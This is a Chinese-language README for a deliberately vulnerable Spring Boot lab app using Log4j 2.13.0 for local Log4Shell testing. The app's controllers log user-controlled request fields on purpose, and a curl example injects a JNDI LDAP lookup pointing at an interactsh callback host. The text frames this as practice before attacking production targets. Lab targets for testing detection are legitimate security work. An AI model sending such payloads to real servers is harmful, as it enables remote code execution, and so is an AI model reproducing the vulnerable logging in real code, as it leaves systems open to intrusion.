这是一个临时拼凑的 Spring Boot Hello World 项目，用于在攻击生产环境目标之前，先在本地测试你的工具/载荷/检测能力。
配置的 Log4j 版本为 2.13.0
bash build.sh
docker run -p 8080:8080 dwdi/log4shell
如果你没有在车库中运行 burp collaborator，可以访问此站点获得类似体验：https://interactsh.com
curl -s --max-time 20 localhost:8080 -H 'User-Agent: ${jndi:ldap://<some_custom_identifier>.<your_generated_subdomain>.interactsh.com/a}' > /dev/null
你也可以使用这个很棒的仓库进行本地/批量扫描：https://github.com/adilsoybali/Log4j-RCE-Scanner
此漏洞的核心在于迫使易受攻击的日志框架记录用户可控的值。考虑到这一点，这个简单的虚拟应用支持两个 HTTP（GET/PUT）动词和多个注入位置：
@GetMapping("/")
public String index(HttpServletRequest request) {
logger.info("Request URL: " + request.getRequestURL());
logger.info("Request URI: " + request.getRequestURI());
logger.info("Request Method: " + request.getMethod());
logger.info("Request Query String: " + request.getQueryString());
logger.info("Request Protocol: " + request.getProtocol());
logger.info("Request Remote Address: " + request.getRemoteAddr());
logger.info("Request Remote Host: " + request.getRemoteHost());
logger.info("Request Remote Port: " + request.getRemotePort());
logger.info("Request User Agent: " + request.getHeader("User-Agent"));
return "Log4J2 is working!";
}
@PostMapping("/")
public String post(HttpServletRequest request, @RequestBody String body) {
logger.info("Request URL: " + request.getRequestURL());
logger.info("Request URI: " + request.getRequestURI());
logger.info("Request Method: " + request.getMethod());
logger.info("Request Query String: " + request.getQueryString());
logger.info("Request Protocol: " + request.getProtocol());
logger.info("Request Remote Address: " + request.getRemoteAddr());
logger.info("Request Remote Host: " + request.getRemoteHost());
logger.info("Request Remote Port: " + request.getRemotePort());
logger.info("Request User Agent: " + request.getHeader("User-Agent"));
logger.info("Request Body: " + body); // mind the extra request body
return "Log4J2 is working!";
}
欢迎贡献/改进。
抱歉代码质量不佳 :) 这个项目不是为了炫耀，而是为了分享/提供帮助。